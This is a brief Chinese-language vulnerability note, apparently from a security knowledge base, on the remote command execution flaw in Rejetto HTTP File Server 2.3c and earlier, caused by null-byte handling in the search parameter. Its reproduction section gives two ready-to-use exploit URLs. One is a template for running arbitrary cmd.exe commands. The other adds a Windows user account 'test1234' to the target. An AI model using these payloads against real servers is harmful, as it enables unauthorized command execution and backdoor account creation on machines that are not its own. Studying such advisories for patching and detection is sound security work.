跳转至

Hfs 远程命令执行漏洞

一、漏洞简介

Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的‘findMacroMarker’函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的‘%00’序列利用该漏洞执行任意程序。

二、漏洞影响

2.3c以前的2.3x版本

三、复现过程

http://url:8080/?search==%00{.exec|cmd.exe /c [Command-String].}

http://url:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}